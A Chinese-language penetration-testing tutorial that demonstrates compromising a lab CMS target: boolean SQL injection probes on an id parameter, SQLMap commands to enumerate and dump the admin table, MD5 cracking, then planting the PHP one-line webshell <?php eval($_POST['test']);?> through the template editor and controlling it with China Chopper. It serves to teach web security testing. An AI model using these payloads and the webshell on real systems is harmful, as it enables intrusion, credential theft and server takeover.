網(wǎng)絡(luò)安全攻防:Web安全之滲透測試
本文基于某個(gè)開源的CMS搭建一個(gè)靶機(jī),來演示W(wǎng)eb滲透整個(gè)過程。
1. SQL注入檢測
在訪問網(wǎng)站時(shí)收集資料,了解網(wǎng)站的各項(xiàng)接口、功能,手動(dòng)測試其每一個(gè)參數(shù)是否存在注入。其中發(fā)現(xiàn)一個(gè)帶參數(shù)ID的頁面,如圖1所示。
圖1 帶參數(shù)ID的頁面
通過手動(dòng)注入判斷該參數(shù)是否為注入點(diǎn),發(fā)現(xiàn)當(dāng)輸入id=10’and‘1’=’0時(shí)返回錯(cuò)誤頁面,如圖2所示。
圖2 返回錯(cuò)誤頁面
而當(dāng)參數(shù)id=10’and‘1’=’1時(shí)仍然顯示為正確頁面,由此懷疑ID參數(shù)后面的and語句內(nèi)容被當(dāng)作SQL語句一部分帶入執(zhí)行,此處可能存在SQL注入。
2. SQL注入利用
純粹的手工注入將花費(fèi)大量時(shí)間和精力,此處利用SQLMap工具對(duì)此疑似SQL注入點(diǎn)的參數(shù)進(jìn)行判斷。
利用SQLMap語句:
–u “http:/*.*.*.*/yx/index.php?r=default/column/content&col=products&id=10*”
判斷該URL是否存在注入,其中,*表示判斷該處參數(shù),其結(jié)果如圖3所示。
圖3 判斷注入結(jié)果
可見參數(shù) id 存在布爾注入、錯(cuò)誤回顯注入、時(shí)間盲注等多種注入隱患。并且 SQLMap直接判斷出其后臺(tái)數(shù)據(jù)庫為MySQL 5.0,服務(wù)器為Apache2.4.3,腳本環(huán)境為PHP5.6.25。
利用SQLMap繼續(xù)查看數(shù)據(jù)庫內(nèi)容,其中利用–dbs參數(shù)查看所有數(shù)據(jù)庫發(fā)現(xiàn)共有5個(gè)庫,如圖4所示。
圖4 查看數(shù)據(jù)庫
猜測yx_test為該CMS的數(shù)據(jù)庫,繼續(xù)深入查看其內(nèi)容。利用–D 庫名–tables可查看指定庫的表名,如圖5所示。
圖5 查看指定庫的表名
共有20張表,需要得到管理員賬號(hào)密碼,因此,利用–T參數(shù)指定表dump其內(nèi)容。
于是得到了該表的結(jié)構(gòu)以及其中數(shù)據(jù),并反解MD5,可以獲得一個(gè)登錄名為admin的賬號(hào)和密碼654321。
3. 后臺(tái)登錄getshell
進(jìn)入后臺(tái),如圖6所示。
圖6 進(jìn)入后臺(tái)
繼續(xù)在后臺(tái)管理平臺(tái)上尋找可上傳Webshell的方法,以取得服務(wù)器Shell權(quán)限。
在進(jìn)入到全局設(shè)置下前臺(tái)模板的管理模板文件功能后,發(fā)現(xiàn)有許多PHP文件,其中利用添加模板的功能可以直接在網(wǎng)頁上編寫PHP文件,并保存到服務(wù)器,如圖7所示。
圖7 編寫PHP文件
利用網(wǎng)頁編輯,寫入一個(gè)一句話木馬,其內(nèi)容為<?php eval($_POST['test']);?>,寫入到一個(gè)名為muma.php的文件,如圖8所示。
圖8 寫入木馬
木馬寫入成功,只需知道網(wǎng)頁地址即可訪問鏈接。
最后利用中國菜刀工具連接該木馬,如圖9所示。
圖9 連接木馬
成功連接站點(diǎn),可以遠(yuǎn)程下載、上傳任意文件,也可運(yùn)行Shell執(zhí)行代碼。